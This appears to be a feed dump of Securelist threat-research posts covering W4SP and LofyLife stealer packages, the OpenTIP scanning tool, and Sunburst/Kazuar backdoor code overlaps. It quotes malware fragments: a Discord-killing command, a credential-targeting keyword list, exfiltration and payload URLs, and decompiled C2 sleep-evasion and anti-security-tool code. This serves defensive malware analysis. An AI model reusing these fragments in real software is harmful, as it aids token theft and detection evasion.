The stealer also downloads a JavaScript payload from zerotwo-best-waifu[.]online/778112985743251/wap/dsc_injection, writing it into Discord’s index.js file. Then it kills the running discord.exe process, so that the user has to restart Discord, thus activating the payload.

subprocess.Popen('taskkill /im discord.exe /t /f',shell=true)

The injected script monitors the victim’s actions such, as changing their email address, password or billing information. The updated information is also sent to the Discord channel.

We have already reported these two packages to the PyPI security team and Snyk Vulnerability Database.

Kaspersky solutions detect the threat with the following verdicts:

  • Trojan.Python.Inject.d
  • Trojan.Python.Agent.gj

IOCs

Samples

34c9d77afd77611ce55716f23594275a ultrarequests-2.28.3.tar.gz
f2102dee0caba546ef98b47b373bab9a pyquest-2.28.3.tar.gz
556ee928fbffd4bbd1cec282ec1a5bb3 Downloader Script
42f0f3b4d5a2be7f09d1c02668cb2c08 injected Discord index.js
d7b6df674690c2e81c72ea031ed44a6f W4SP stealer

URLs

https://zerotwo-best-waifu[.]online/778112985743251/wap/enner/injector
https://zerotwo-best-waifu[.]online/778112985743251/wap/shatlegay/stealer123365
https://zerotwo-best-waifu[.]online/778112985743251/wap/dsc_injection

Appendix

[‘mail’, ‘[coinbase](https://coinbase.com)’, ‘[gmail](https://gmail.com)’, ‘[steam](https://steam.com)’, ‘[discord](https://discord.com)’, ‘[riotgames](https://riotgames.com)’, ‘[youtube](https://youtube.com)’, ‘[instagram](https://instagram.com)’, ‘[tiktok](https://tiktok.com)’, ‘[twitter](https://twitter.com)’, ‘(https://facebook.com)’, ‘card’, ‘[epicgames](https://epicgames.com)’, ‘[spotify](https://spotify.com)’, ‘[yahoo](https://yahoo.com)’, ‘[roblox](https://roblox.com)’, ‘[twitch](https://twitch.com)’, ‘[minecraft](https://minecraft.net)’, ‘bank’, ‘[paypal](https://paypal.com)’, ‘[origin](https://origin.com)’, ‘[amazon](https://amazon.com)’, ‘[ebay](https://ebay.com)’, ‘[aliexpress](https://aliexpress.com)’, ‘[playstation](https://playstation.com)’, ‘[hbo](https://hbo.com)’, ‘[xbox](https://xbox.com)’, ‘buy’, ‘sell’, ‘[binance](https://binance.com)’, ‘[hotmail](https://hotmail.com)’, ‘[outlook](https://outlook.com)’, ‘[crunchyroll](https://crunchyroll.com)’, ‘[telegram](https://telegram.com)’, ‘[pornhub](https://pornhub.com)’, ‘[disney](https://disney.com)’, ‘[expressvpn](https://expressvpn.com)’, ‘crypto’, ‘[uber](https://uber.com)’, ‘[netflix](https://netflix.com)’] ]]>
https://securelist.com/two-more-malicious-python-packages-in-the-pypi/107218/feed/ 1 full large medium thumbnail
OpenTIP, command line edition https://securelist.com/opentip-command-line-edition/107109/ https://securelist.com/opentip-command-line-edition/107109/#respond Thu, 11 Aug 2022 08:30:01 +0000 https://kasperskycontenthub.com/securelist/?p=107109

For more than a year, we have been providing free intelligence services via the OpenTIP portal. Using the web interface, anyone can upload and scan files with our antivirus engine, get a basic sandbox report, look up various network indicators (IP addresses, hosts, URLs). Later on, we presented an easy-to-use HTTPS-based programming interface, so that you could use the service in your own scripts and integrate it in existing workflow.

OpenTIP web interface – upload, look up, get results!

OpenTIP web interface – upload, look up, get results!

Of course, it is much easier to use the API when there is a set of working examples. It is also more convenient to integrate with existing tools and scripts when you have a command line utility that interacts with the service. We decided have both in one package, by releasing Python-based command line tools for the service that also implement a client class that you can reuse in your own tools.

A few words about privacy

The OpenTIP service has its own Terms of Use, End-User Agreement and a Privacy Policy; and the command line tools can only be accessed with an API token, that in turn can be only obtained after agreeing to all the terms. Please read them carefully. By default, the “opentip” scanner may upload the files being checked if their hashes are not yet known to the service, so please ensure that you are familiar with the policies. And, of course, the sample upload can be turned off.

Setting things up

The command line tools need the “apikey”, that is, a usual web API access token. You can generate it at this page (you may be required to register or log in into the web version of the service). The key can then be permanently set up as an environment variable “OPENTIP_APIKEY” or provided as a command line option “–apikey VALUE_OF_THE_KEY”. By default, the API key has certain rate limitations that may be changed in future, so please contact us if your scripts hit the rate limits.

The tools and the Python 3 client class can be all installed from pip:

pip3 install opentip

The code is also published on Github, so you can easily inspect and package it yourself. At the time of writing, the package has no external dependencies and should run on any modern Python 3 distribution.

Once installed, Python will also generate two executables (scripts, or binary wrappers, depending on the platform), named “opentip” and “check_iocs”.

The OpenTIP Scanner

The scanner is named “opentip” (or “opentip.exe”), as is the primary tool for quickly checking files and directories. The standard usage banner is pretty simple and self-descriptive:

usage: opentip [-h] [--no-upload] [--exclude EXCLUDE] [--log LOG] [--apikey APIKEY] [--quiet] path [path ...]

Check files and directories with OpenTIP.kaspersky.com, optionally upload and scan unknown files

positional arguments:
  path               File or directory location to scan

optional arguments:
  -h, --help         show this help message and exit
  --no-upload        DO NOT upload unknown files to scan with the Sandbox, default behaviour is to upload
  --exclude EXCLUDE  Do not scan or upload the files matching the pattern
  --log LOG          Write results to the log file
  --apikey APIKEY    OpenTIP API key, received from https://opentip.kaspersky.com/token
  --quiet            Do not log clean files

The easiest and most basic mode of operation is to provide the location of the files or directories to scan. Directories are processed recursively, and unknown files are uploaded for checking by default (subject to the privacy policy, use “–no-upload” to change default behavior). The results are printed on stdout, and can also be redirected to a log file. The “–exclude” option allows you to disable the checks for any path locations, and with the “–quiet” option the script will print out only the positive detections.

$ opentip .
2022-08-01 16:23:22,638 ./package/main.py: Malware: Trojan.Python.Lofy.a
2022-08-01 16:23:22,766 ./package/package.json: NotCategorized
2022-08-01 16:23:22,965 ./package/index.js: NoThreats

Typical output of the scanner

Since the package has no external dependencies, it can be used to quickly deploy the scanner and check a fleet of remote machines, and the OPENTIP_APIKEY environment variable makes it easier to use the scanner in containers.

The IOC checker script

The second tool, named “check_iocs”, has a different purpose: you can use it to quickly query the OpenTIP service for file hashes, domains, IPs and URLs.

usage: check_iocs [-h] [--apikey APIKEY] [--out OUT] type value

Check IOCS (file hashes, IP addresses, domain names, URLs using the service OpenTIP.kaspersky.com

positional arguments:
  type               hash, ip, domain, url
  value              Value of the IOC (hash, ip, domain, url, filename with the iocs)

optional arguments:
  -h, --help         show this help message and exit
  --apikey APIKEY    OpenTIP API key, received from https://opentip.kaspersky.com/token
  --out OUT, -o OUT  Write output as JSON to this filename

The script requires two arguments: the type of the input data (“hash”, “ip”, “domain”, “url”, “filename”) and either the actual value of the data to check, or the path of the filename that contains the list of values, one per line.

$check_iocs hash list_of_md5.txt 
[IOC]: d41d8cd98f00b204e9800998ecf8427e : Unknown
[IOC]: 46c5070ed139ca8121c07eda20587e3f : {'Zone': 'Grey', 'FileGeneralInfo': {'FileStatus': 'NotCategorized', 'Sha1': '24F7BAF656DCAC1FF43E4479AD8A5F4DF8052900', 'Md5': '46C5070ED139CA8121C07EDA20587E3F', 'Sha256': '04FC2B072775EA05AB6C9E117EFBFD1C56D2F1B45D1AC175001A186452269F3C', 'FirstSeen': '1970-01-01T00:00:00Z', 'LastSeen': '1970-01-01T00:00:00Z', 'Size': 464, 'Type': 'text'}, 'DynamicAnalysisResults': {'Detections': [{'Zone': 'Red'}, {'Zone': 'Yellow'}], 'SuspiciousActivities': [{'Zone': 'Red'}, {'Zone': 'Yellow'}, {'Zone': 'Grey'}], 'NetworkActivities': [{'Zone': 'Red'}, {'Zone': 'Yellow'}, {'Zone': 'Green'}, {'Zone': 'Grey'}]}}
[IOC]: 0067bc5d4d92fe9445e41f347944196e : {'Zone': 'Red', 'FileGeneralInfo': {'FileStatus': 'Malware', 'Sha1': 'F666104C83CB18F2ED345A11C34EE9A32CD2ABC1', 'Md5': '0067BC5D4D92FE9445E41F347944196E', 'Sha256': '8B615582D92D42FEEFCEEBA03E65D16773F2B227ED1CD17C82462641A9D249D9', 'FirstSeen': '2022-07-27T11:48:00Z', 'LastSeen': '2022-07-30T12:44:00Z', 'Size': 10466, 'Type': 'Txt', 'HitsCount': 10}, 'DetectionsInfo': [{'LastDetectDate': '2022-07-30T12:50:35.887Z', 'Zone': 'Red', 'DetectionName': 'Trojan.Python.Lofy.a'}], 'DynamicAnalysisResults': {'Detections': [{'Zone': 'Red'}, {'Zone': 'Yellow'}], 'SuspiciousActivities': [{'Zone': 'Red'}, {'Zone': 'Yellow'}, {'Zone': 'Grey'}], 'NetworkActivities': [{'Zone': 'Red'}, {'Zone': 'Yellow'}, {'Zone': 'Green'}, {'Zone': 'Grey'}]}}
[IOC]: e1dc5ff6a1febdd4db11901fc295364f : {'Zone': 'Green', 'FileGeneralInfo': {'FileStatus': 'NoThreats', 'Sha1': '49217E09D0C33FF3C958AFBDCB60F977E10104E0', 'Md5': 'E1DC5FF6A1FEBDD4DB11901FC295364F', 'Sha256': 'EAB0020A475BB1CF70CA5C9569DEFE5F1A7160A9D334144DA47924418EE2C9E7', 'FirstSeen': '2022-07-30T10:03:00Z', 'LastSeen': '2022-07-30T10:20:00Z', 'Size': 34768, 'Type': 'Js', 'HitsCount': 10}, 'DynamicAnalysisResults': {'Detections': [{'Zone': 'Red'}, {'Zone': 'Yellow'}], 'SuspiciousActivities': [{'Zone': 'Red'}, {'Zone': 'Yellow'}, {'Zone': 'Grey'}], 'NetworkActivities': [{'Zone': 'Red'}, {'Zone': 'Yellow'}, {'Zone': 'Green'}, {'Zone': 'Grey'}]}}

Typical output of the check_iocs tool

The output is much more comprehensive than the one provided by the scanner and is JSON-encoded, so that it can be parsed automatically.

The Python API class

Both command line tools are actually using a single Python class to access the OpenTIP service, and you can use the source code of the tools as a reference for your own scripts.

The OpenTIP client can be easily instantiated with a few lines:

from opentip.client import OpenTIP
client = OpenTIP(APIKEY)

To query the OpenTIP for a known indicator, use a single call:

client.get_verdict_by_ioc(ioc_type, ioc)

For example:

>>> client.get_verdict_by_ioc('hash', '0067bc5d4d92fe9445e41f347944196e')
'{"Zone":"Red","FileGeneralInfo":{"FileStatus":"Malware","Sha1":"F666104C83CB18F2ED345A11C34EE9A32CD2ABC1","Md5":"0067BC5D4D92FE9445E41F347944196E","Sha256":"8B615582D92D42FEEFCEEBA03E65D16773F2B227ED1CD17C82462641A9D249D9","FirstSeen":"2022-07-27T11:48:00Z","LastSeen":"2022-07-30T12:44:00Z","Size":10466,"Type":"Txt","HitsCount":10},"DetectionsInfo":[{"LastDetectDate":"2022-07-30T12:50:35.887Z","Zone":"Red","DetectionName":"Trojan.Python.Lofy.a"}],"DynamicAnalysisResults":{"Detections":[{"Zone":"Red"},{"Zone":"Yellow"}],"SuspiciousActivities":[{"Zone":"Red"},{"Zone":"Yellow"},{"Zone":"Grey"}],"NetworkActivities":[{"Zone":"Red"},{"Zone":"Yellow"},{"Zone":"Green"},{"Zone":"Grey"}]}}'

To scan a file (with upload turned on by default), returning a tuple of (filename, results), call:

client.scan_file(filename)

Example:

>>> client.scan_file('package/main.py')
('package/main.py', '{"Zone":"Red","FileGeneralInfo":{"FileStatus":"Malware","Sha1":"F666104C83CB18F2ED345A11C34EE9A32CD2ABC1","Md5":"0067BC5D4D92FE9445E41F347944196E","Sha256":"8B615582D92D42FEEFCEEBA03E65D16773F2B227ED1CD17C82462641A9D249D9","FirstSeen":"2022-07-27T11:48:00Z","LastSeen":"2022-07-30T12:44:00Z","Size":10466,"Type":"Txt","HitsCount":10},"DetectionsInfo":[{"LastDetectDate":"2022-07-30T12:50:35.887Z","Zone":"Red","DetectionName":"Trojan.Python.Lofy.a"}],"DynamicAnalysisResults":{"Detections":[{"Zone":"Red"},{"Zone":"Yellow"}],"SuspiciousActivities":[{"Zone":"Red"},{"Zone":"Yellow"},{"Zone":"Grey"}],"NetworkActivities":[{"Zone":"Red"},{"Zone":"Yellow"},{"Zone":"Green"},{"Zone":"Grey"}]}}')

To disable file upload for unknown files, instantiate the OpenTIP with no_upload=True.

>>> client = OpenTIP(OPENTIP_APIKEY, no_upload=True)
>>> client.no_upload
True

Any ideas are welcome

This is just the beginning, and we welcome any kind of input, pull requests and feature requests to make the service more convenient. If you have any issues or questions regarding the scripts, please contact us by creating a Github issue or using the OpenTIP contact form.

]]>
https://securelist.com/opentip-command-line-edition/107109/feed/ 0 full large medium thumbnail
LofyLife: malicious npm packages steal Discord tokens and bank card data https://securelist.com/lofylife-malicious-npm-packages/107014/ https://securelist.com/lofylife-malicious-npm-packages/107014/#respond Thu, 28 Jul 2022 12:00:41 +0000 https://kasperskycontenthub.com/securelist/?p=107014

On July 26, using the internal automated system for monitoring open-source repositories, we identified four suspicious packages in the Node Package Manager (npm) repository. All these packages contained highly obfuscated malicious Python and JavaScript code. We dubbed this malicious campaign “LofyLife”.


Description of the proc-title package (Translation: This package correctly capitalizes your titles as per the Chicago manual of style)

The Python malware is a modified version of an open-source token logger called Volt Stealer. It is intended to steal Discord tokens from infected machines, along with the victim’s IP address, and upload them via HTTP. The JavaScript malware we dubbed “Lofy Stealer” was created to infect Discord client files in order to monitor the victim’s actions. It detects when a user logs in, changes email or password, enables/disables multi-factor authentication (MFA) and adds new payment methods, including complete bank card details. Collected information is also uploaded to the remote endpoint whose address is hard-coded.

Data is exfiltrated to Replit-hosted instances:

  • life.polarlabs.repl[.]co
  • Sock.polarlabs.repl[.]co
  • idk.polarlabs.repl[.]co

Kaspersky solutions detect the threat with the following verdicts:

  • HEUR:Trojan.Script.Lofy.gen
  • Trojan.Python.Lofy.a

We are constantly monitoring the updates to repositories to ensure that all new malicious packages are detected.

Timeline of uploaded packages

Package name Version Timestamp (UTC)
small-sm 8.2.0 2022-07-17 20:28:29
small-sm 4.2.0 2022-07-17 19:47:56
small-sm 4.0.0 2022-07-17 19:43:57
small-sm 1.1.0 2022-06-18 16:19:47
small-sm 1.0.9 2022-06-17 12:23:33
small-sm 1.0.8 2022-06-17 12:22:31
small-sm 1.0.7 2022-06-17 03:36:45
small-sm 1.0.5 2022-06-17 03:31:40
pern-valids 1.0.3 2022-06-17 03:19:45
pern-valids 1.0.2 2022-06-17 03:12:03
lifeculer 0.0.1 2022-06-17 02:50:34
proc-title 1.0.3 2022-03-04 05:43:31
proc-title 1.0.2 2022-03-04 05:29:58

We covered the incident in more detail in a private report delivered to customers of our Threat Intelligence Portal.

]]>
https://securelist.com/lofylife-malicious-npm-packages/107014/feed/ 0 full large medium thumbnail
Sunburst backdoor – code overlaps with Kazuar https://securelist.com/sunburst-backdoor-kazuar/99981/ https://securelist.com/sunburst-backdoor-kazuar/99981/#comments Mon, 11 Jan 2021 10:00:00 +0000 https://kasperskycontenthub.com/securelist/?p=99981

Introduction

On December 13, 2020, FireEye published a blog post detailing a supply chain attack leveraging Orion IT, an infrastructure monitoring and management platform by SolarWinds. In parallel, Volexity published an article with their analysis of related attacks, attributed to an actor named “Dark Halo”. FireEye did not link this activity to any known actor; instead, they gave it an unknown, temporary moniker – “UNC2452”.

This attack is remarkable from many points of view, including its stealthiness, precision targeting and the custom malware leveraged by the attackers, named “Sunburst” by FireEye.

In a previous blog, we dissected the method used by Sunburst to communicate with its C2 server and the protocol by which victims are upgraded for further exploitation. Similarly, many other security companies published their own analysis of the Sunburst backdoor, various operational details and how to defend against this attack. Yet, besides some media articles, no solid technical papers have been published that could potentially link it to previously known activity.

While looking at the Sunburst backdoor, we discovered several features that overlap with a previously identified backdoor known as Kazuar. Kazuar is a .NET backdoor first reported by Palo Alto in 2017. Palo Alto tentatively linked Kazuar to the Turla APT group, although no solid attribution link has been made public. Our own observations indeed confirm that Kazuar was used together with other Turla tools during multiple breaches in past years.

A number of unusual, shared features between Sunburst and Kazuar include the victim UID generation algorithm, the sleeping algorithm and the extensive usage of the FNV-1a hash.

We describe these similarities in detail below.

For a summary of this analysis and FAQs, feel free to scroll down to “Conclusions“.

We believe it’s important that other researchers around the world investigate these similarities and attempt to discover more facts about Kazuar and the origin of Sunburst, the malware used in the SolarWinds breach. If we consider past experience, looking back to the WannaCry attack, in the early days, there were very few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them together with high confidence. Further research on this topic can be crucial in connecting the dots.

More information about UNC2452, DarkHalo, Sunburst and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com

Technical Details

Background

While looking at the Sunburst backdoor, we discovered several features that overlap with a previously identified backdoor known as Kazuar. Kazuar is a .NET backdoor first reported by Palo Alto in 2017.
Throughout the years, Kazuar has been under constant development. Its developers have been regularly improving it, switching from one obfuscator to another, changing algorithms and updating features. We looked at all versions of Kazuar since 2015, in order to better understand its development timeline.

Kazuar development and evolution timeline

In the following sections, we look at some of the similarities between Kazuar and Sunburst. First, we will discuss how a particular feature is used in Kazuar, and then we will describe the implementation of the same feature in Sunburst.

Comparison of the sleeping algorithms

Both Kazuar and Sunburst have implemented a delay between connections to a C2 server, likely designed to make the network activity less obvious.

Kazuar

Kazuar calculates the time it sleeps between two C2 server connections as follows: it takes two timestamps, the minimal sleeping time and the maximal sleeping time, and calculates the waiting period with the following formula:

generated_sleeping_time = sleeping_timemin + x (sleeping_timemax - sleeping_timemin)

where x is a random floating-point number ranging from 0 to 1 obtained by calling the NextDouble method, while sleeping_timemin and sleeping_timemax are time periods obtained from the C2 configuration which can be changed with the help of a backdoor command. As a result of the calculations, the generated time will fall in the [sleeping_timemin, sleeping_timemax] range. By default, sleeping_timemin equals two weeks and sleeping_timemax equals four weeks in most samples of Kazuar we analysed. After calculating the sleeping time, it invokes the Sleep method in a loop.

Kazuar implements this algorithm in the following lines of code (class names were omitted from the code for clarity):

long random_multiplication(Random random_0, long long_0) {
 	return (long)(random_0.NextDouble() * (double)long_0);
  }
TimeSpan get_randomized_sleeping_time(Random random_0, TimeSpan timeSpan_0, TimeSpan timeSpan_1) {
    if (timeSpan_0 > timeSpan_1) {
      TimeSpan timeSpan = timeSpan_0;
      timeSpan_0 = timeSpan_1;
      timeSpan_1 = timeSpan;
    }
    long num = random_multiplication(random_0, timeSpan_1.Ticks - timeSpan_0.Ticks); 
// randomize the sleeping time
    return new TimeSpan(timeSpan_0.Ticks + num);
  }
 TimeSpan get_remaining_time(TimeSpan timeSpan_0, TimeSpan timeSpan_1) {
    if (!(timeSpan_0 > timeSpan_1)) {
      return timeSpan_0;
    }
    return timeSpan_1;
  }
  void wait_between_connections() {
    for (;;) { // the sleeping loop
      TimeSpan[] array = get_min_and_max_sleep_time(); 
/* the previous line retrieves sleeping_time_min and sleeping_time_max from the configuration */
      TimeSpan timeSpan = get_randomized_sleeping_time(this.random_number, array[0], array[1]);
      DateTime last_c2_connection = get_last_c2_connection();
      TimeSpan timeSpan2 = DateTime.Now - last_c2_connection;
      if (timeSpan2 >= timeSpan) {
        break; 
/* enough time has passed, the backdoor may connect to the C2 server */
      }
 TimeSpan timeout = get_remaining_time(timeSpan - timeSpan2, this.timespan); // this.timespan equals 1 minute
      Thread.Sleep(timeout);
    }
  }

Sunburst

Sunburst uses exactly the same formula to calculate sleeping time, relying on NextDouble to generate a random number. It then calls the sleeping function in a loop. The only difference is that the code is somewhat less complex. Below we compare an extract of the sleeping algorithm found in Kazuar and the code discovered in Sunburst.

Kazuar Sunburst
The listed code is used in multiple versions of the backdoor, including samples with MD5 150D0ADDF65B6524EB92B9762DB6F074 (2016) and 1F70BEF5D79EFBDAC63C9935AA353955 (2019+).
The random waiting time generation algorithm and the sleeping loop.
MD5 2C4A910A1299CDAE2A4E55988A2F102E.
The random waiting time generation algorithm and the sleeping loop.
long random_multiplication(Random random_0, long long_0) {
 	return (long)(random_0.NextDouble() * (double)long_0);
  }

TimeSpan get_randomized_sleeping_time(Random random_0, 
         TimeSpan timeSpan_0, TimeSpan timeSpan_1)
  {
    if (timeSpan_0 > timeSpan_1)
    {
      TimeSpan timeSpan = timeSpan_0;
      timeSpan_0 = timeSpan_1;
      timeSpan_1 = timeSpan;
    }
    long num = random_multiplication(random_0, 
               timeSpan_1.Ticks - timeSpan_0.Ticks); 
    return new TimeSpan(timeSpan_0.Ticks + num);
  }
void wait_between_connections() {
    for (;;) { 
      ...
      if (timeSpan2 >= timeSpan) {
        break; 
      }
 TimeSpan timeout = get_remaining_time(timeSpan - timeSpan2, 
                                       this.timespan);       
    Thread.Sleep(timeout);
    }
  }
private static void DelayMs(double minMs, double maxMs)
{
  if ((int)maxMs == 0)
  {
    minMs = 1000.0;
    maxMs = 2000.0;
  }
  double num;
  for (num = minMs + new Random().NextDouble() * (maxMs - minMs); 
       num >= 2147483647.0; num -= 2147483647.0)
  {
    Thread.Sleep(int.MaxValue);
  }
  Thread.Sleep((int)num);
}

Comparing the two code fragments outlined above, we see that the algorithms are similar.
It’s noteworthy that both Kazuar and Sunburst wait for quite a long time before or in-between C2 connections. By default, Kazuar chooses a random sleeping time between two and four weeks, while Sunburst waits from 12 to 14 days. Sunburst, like Kazuar, implements a command which allows the operators to change the waiting time between two C2 connections.

Based on the analysis of the sleeping algorithm, we conclude:

  • Kazuar and Sunburst use the same mathematical formula, relying on Random().NextDouble() to calculate the waiting time
  • Kazuar randomly selects a sleeping period between two and four weeks between C2 connections
  • Sunburst randomly selects a sleeping period between twelve and fourteen days before contacting its C2
  • Such long sleep periods in C2 connections are not very common for typical APT malware
  • While Kazuar does a Thread.Sleep using a TimeSpan object, Sunburst uses an Int32 value; due to the fact that Int32.MaxValue is limited to roughly 24 days of sleep, the developers “emulate” longer sleeps in a loop to get past this limitation
  • In case of both Kazuar and Sunburst, the sleeping time between two connections can be changed with the help of a command sent by the C2 server

The FNV-1a hashing algorithm

Sunburst uses the FNV-1a hashing algorithm extensively throughout its code. This detail initially attracted our attention and we tried to look for other malware that uses the same algorithm. It should be pointed out that the usage of this hashing algorithm is not unique to Kazuar and Sunburst. However, it provides an interesting starting point for finding more similarities. FNV-1a has been widely used by the Kazuar .NET Backdoor since its early versions. We compare the usage of FNV-1a in Kazuar and Sunburst below.

Kazuar

The shellcode used in Kazuar finds addresses of library functions with a variation of the FNV-1a hashing algorithm. The way of finding these addresses is traditional: the shellcode traverses the export address table of a DLL, fetches the name of an API function, hashes it and then compares the hash with a given value.

A variation of the FNV-1a hashing algorithm in Kazuar shellcode present in 2015-autumn 2020 samples, using a 0x1000197 modified constant instead of the default FNV_32_PRIME 0x1000193 (MD5 150D0ADDF65B6524EB92B9762DB6F074)

This customized FNV-1a 32-bit hashing algorithm has been present in the Kazuar shellcode since 2015. For the Kazuar binaries used in 2020, a modified 64-bit FNV-1a appeared in the code:

Kazuar
MD5 804785B5ED71AADF9878E7FC4BA4295C (Dec 2020).
Implementation of a modified FNV-1a algorithm (64-bit version).
public static ulong bu(string pK)
  {
    byte[] bytes = Encoding.UTF8.GetBytes(pK);
    ulong num = 0xCBF29CE484222325UL;
    ulong num2 = 0x69294589840FB0E8UL;
    ulong num3 = 0x100000001B3UL; 
    for (int i = 0; i < bytes.Length; i++)
    {
      num ^= (ulong)bytes[i];
      num *= num3;
    }
    return num ^ num2;
}

We observed that the 64-bit FNV-1a hash present in the 2020 Kazuar sample is also not standard. When the loop with the XOR and multiplication operations finishes execution, the resulting value is XOR-ed with a constant (XOR 0x69294589840FB0E8UL). In the original implementation of the FNV-1a hash, no XOR operation is applied after the loop.

Sunburst

Sunburst uses a modified, 64-bit FNV-1a hash for the purpose of string obfuscation. For example, when started, Sunburst first takes the FNV-1a hash of its process name (solarwinds.businesslayerhost) and checks if it is equal to a hardcoded value (0xEFF8D627F39A2A9DUL). If the hashes do not coincide, the backdoor code will not be executed:

public static void Initialize()
{
  try
  {
   if (OrionImprovementBusinessLayer.GetHash(Process.GetCurrentProcess().ProcessName.ToLower()) == 0xEFF8D627F39A2A9DUL) //"solarwinds.businesslayerhost"
    {
     // backdoor execution code
    }
  }
}

Hashes are also used to detect security tools running on the system. During its execution Sunburst iterates through the list of processes (Process.GetProcesses()), services (from “SYSTEM\\CurrentControlSet\\services“) and drivers (WMI, “Select * From Win32_SystemDriver“), hashes their names and looks them up in arrays containing the corresponding hardcoded hashes:

private static bool SearchAssemblies(Process[] processes)
{
  for (int i = 0; i < processes.Length; i++)
  {
    ulong hash = OrionImprovementBusinessLayer.GetHash(processes[i].ProcessName.ToLower());
    if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.assemblyTimeStamps, hash) != -1)
    {
      return true;
    }
  }
  return false;
}

Below we compare the modified FNV-1a implementations of the two algorithms in Kazuar and Sunburst.

String obfuscation comparison

Kazuar Sunburst
Code adapted from MD5 804785B5ED71AADF9878E7FC4BA4295C (Dec 2020). Implementation of a modified 64-bit FNV-1a algorithm (deobfuscated, with constant folding applied). MD5 2C4A910A1299CDAE2A4E55988A2F102E.
Implementation of the modified 64-bit FNV-1a algorithm.
public static ulong bu(string pK) 
{
  byte[] bytes = Encoding.UTF8.GetBytes(pK);
  ulong num = 0xCBF29CE484222325UL;
  ulong num2 = 0x69294589840FB0E8UL;
  ulong num3 = 0x100000001B3UL;
  for (int i = 0; i < bytes.Length; i++)
  {
    num ^= (ulong)bytes[i];
    num *= num3;
  }
  return num ^ num2;
}
private static ulong GetHash(string s)
 {
   ulong num = 0xCBF29CE484222325UL;
   try
   {
     foreach (byte b in Encoding.UTF8.GetBytes(s))
     {
       num ^= (ulong)b;
       num *= 0x100000001B3UL;
     }
   }
   catch
   {
   }
   return num ^ 0x5BAC903BA7D81967UL;
 }

It should be noted that both Kazuar and Sunburst use a modified 64-bit FNV-1a hash, which adds an extra step after the loop, XOR’ing the final result with a 64-bit constant.

Some readers might assume that the FNV-1a hashing was inserted by the compiler because C# compilers can optimize switch statements with strings into a series of if statements. In this compiler optimized code, the 32-bit FNV-1a algorithm is used to calculate hashes of strings:

Clean executable Sunburst
Optimized switch statement. MD5 2C4A910A1299CDAE2A4E55988A2F102E.
Switch statement.
string key = keyValuePair.Key;
        uint num = <PrivateImplementationDetails>.ComputeStringHash(key); 
// computes 32-bit FNV-1a
        if (num <= 0x848C8620U)
        {
          if (num <= 0x3A79338FU)
          {
            if (num <= 0x150EFE0DU)
            {
              if (num != 0x11DE6CDCU)
              {
                if (num != 0x13F0FB79U)
                {
                  if (num == 0x150EFE0DU)
                  {
                    // direct string compare:
                    if (key == "divisibleBy")
                    {
                          // case handling code                  
                    }
                     ...
ulong hash = OrionImprovementBusinessLayer.GetHash(text3.ToLower());
if (hash <= 0x7B2647ACD648B3BFUL)
   {
     if (hash <= 0x54E145F4CDA21B52UL)
         {
           if (hash != 0x25F3EA85AE88826EUL)
              {
               if (hash == 0x54E145F4CDA21B52UL)
                    {
                 // direct string compare missing                  
                 // case handling code                  
                    }
                  ...

In the case of Sunburst, the hashes in the switch statement do not appear to be compiler-generated. In fact, the C# compiler uses 32-bit, not 64-bit hashing. The hashing algorithm added by the compiler also does not have an additional XOR operation in the end. The compiler inserts the hashing method in the class, while in Sunburst the same code is implemented within the OrionImprovementBusinessLayer class. The compiler-emitted FNV-1a method will have the ComputeStringHash name. In case of Sunburst, the name of the method is GetHash. Additionally, the compiler inserts a check which compares the hashed string with a hardcoded value in order to eliminate the possibility of a collision. In Sunburst, there are no such string comparisons, which suggests these hash checks are not a compiler optimization.

To conclude the findings, we summarize them as follows:

  • Both Sunburst and Kazuar use FNV-1a hashing throughout their code
  • A modified 32-bit FNV-1a hashing algorithm has been used by the Kazuar shellcode since 2015 to resolve APIs
  • This Kazuar shellcode uses a modified FNV-1a hash where its FNV_32_PRIME is 0x1000197 (instead of the default FNV_32_PRIME 0x1000193)
  • A modified 64-bit version of the FNV-1a hashing algorithm was implemented in Kazuar versions found in 2020
  • The modified 64-bit FNV-1a hashing algorithms implemented in Kazuar (November and December 2020 variants) have one extra step: after the hash is calculated, it is XORed with a hardcoded constant (0x69294589840FB0E8UL)
  • Sunburst also uses a modified 64-bit FNV-1a hashing algorithm, with one extra step: after the hash is calculated, it is XORed with a hardcoded constant (0x5BAC903BA7D81967UL)
  • The 64-bit constant used in the last step of the hashing is different between Kazuar and Sunburst
  • The aforementioned hashing algorithm is used to conceal plain strings in Sunburst

The algorithm used to generate victim identifiers

Another similarity between Kazuar and Sunburst can be found in the algorithm used to generate the unique victim identifiers, described below.

Kazuar

In order to generate unique strings (across different victims), such as client identifiers, mutexes or file names, Kazuar uses an algorithm which accepts a string as input. To derive a unique string from the given one, the backdoor gets the MD5 hash of the string and then XORs it with a four-byte unique “seed” from the machine. The seed is obtained by fetching the serial number of the volume where the operating system is installed.

Sunburst

An MD5+XOR algorithm can also be found in Sunburst. However, instead of the volume serial number, it uses a different set of information as the machine’s unique seed, hashes it with MD5 then it XORs the two hash halves together. The two implementations are compared in the following table:

Kazuar Sunburst
The listed code is used in multiple versions of the backdoor, including MD5 150D0ADDF65B6524EB92B9762DB6F074 (2016) and 1F70BEF5D79EFBDAC63C9935AA353955 (2019+).
The MD5+XOR algorithm.
MD5 2C4A910A1299CDAE2A4E55988A2F102E. Part of a function with the MD5+XOR algorithm.
public static Guid md5_plus_xor(string string_0) {
  byte[] bytes = BitConverter.GetBytes(parameter_class.unique_pc_identifier);
  byte[] array = MD5.Create().ComputeHash(get_bytes_wrapper(string_0));
 for (int i = 0; i < array.Length; i++) {
    byte[] array2 = array;
    int num = i;
    array2[num] ^= bytes[i % bytes.Length];
  }
  return new Guid(array);
}
private static bool GetOrCreateUserID(out byte[] hash64) {
  string text = OrionImprovementBusinessLayer.ReadDeviceInfo();
  hash64 = new byte[8];
  Array.Clear(hash64, 0, hash64.Length);
  if (text == null) {
    return false;
  }
<part of the code omitted for clarity>
using (MD5 md = MD5.Create()) {
    byte[] bytes = Encoding.ASCII.GetBytes(text);
    byte[] array = md.ComputeHash(bytes);
    if (array.Length < hash64.Length) {
      return false;
    }
    for (int i = 0; i < array.Length; i++) {
      byte[] array2 = hash64;
      int num = i % hash64.Length;
      array2[num] ^= array[i];
    }
  }
  return true;
}

To summarize these findings:

  • To calculate unique victim UIDs, both Kazuar and Sunburst use a hashing algorithm which is different from their otherwise “favourite” FNV-1a; a combination of MD5+XOR:
    • Kazuar XORs a full 128-bit MD5 of a pre-defined string with a four-byte key which contains the volume serial number
